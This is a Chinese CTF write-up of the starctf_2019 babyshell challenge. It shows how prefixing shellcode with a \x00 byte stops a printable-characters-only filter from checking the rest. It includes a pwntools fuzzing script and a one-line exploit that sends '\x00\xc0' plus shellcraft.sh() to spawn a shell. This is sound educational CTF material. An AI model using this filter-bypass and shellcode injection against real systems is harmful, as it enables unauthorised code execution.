为什么会有这个想法
虽然这个标题看起来很奇怪,但有时候其实可以用得上
有时候我们输入输出是通过read来进行的,并且中间不会涉及到strcpy,strcat这些函数,所以我们可以放心的在shellcode里面插入\x00
有时候其实我们需要利用到\x00,因为strcmp,strlen,等等包括很多时候自定义的函数实现都是以\x00作为结束的标志
光说没用,我们看例题
starctf_2019_babyshell
starctf_2019_babyshell
这里题逻辑很简单,输入shellcode,注意使用read读入的
中间有个校验
可以看到它让你shellcode里面只能是可见字符
思路
这个题目网上有两种解法,第一种就是利用可见字符写shellcode,这个我们暂时不考虑,我们看能不能绕过
因为它这个校验可以看到,while(*a),也就是我们一般写代码的思路,遇到\x00就不校验了,所以如果shellcode以\x00开头,那是不是就ok了?
难点
有汇编指令以\x00开头吗,还真有
from pwn import *
from itertools import *
import re
for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()
这里我是fuzz生成
要注意两个细节
我们要把payload变成bytes
最开始我是这样写的
for j in product([chr(k) for k in range(256)], repeat=i):
payload = b"\x00" + "".join(j).encode()
这样有什么问题呢,其实涉及到编码
这个时候是str,我们要转化成bytes
因为采用utf-8编码,所以\x7f后面的字符对应的bytes都是2byte
如果用ascii编码则无法编码\x80以上的
所以必须要用p8来生成
同时这里我加了一个if
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
…表示没有对应的汇编
第二个正则是防止出现[ecx]这种,因为可能导致无效地址访问
第三种是数据定义类型,这种可能会导致系统异常解释shellcode
所以我们最后也可以得到很多
这里我们就用\x00\xc0,可以看到正常解析同时绕过检查
exp
sl(b"\x00\xc0" + asm(shellcraft.sh()))
it()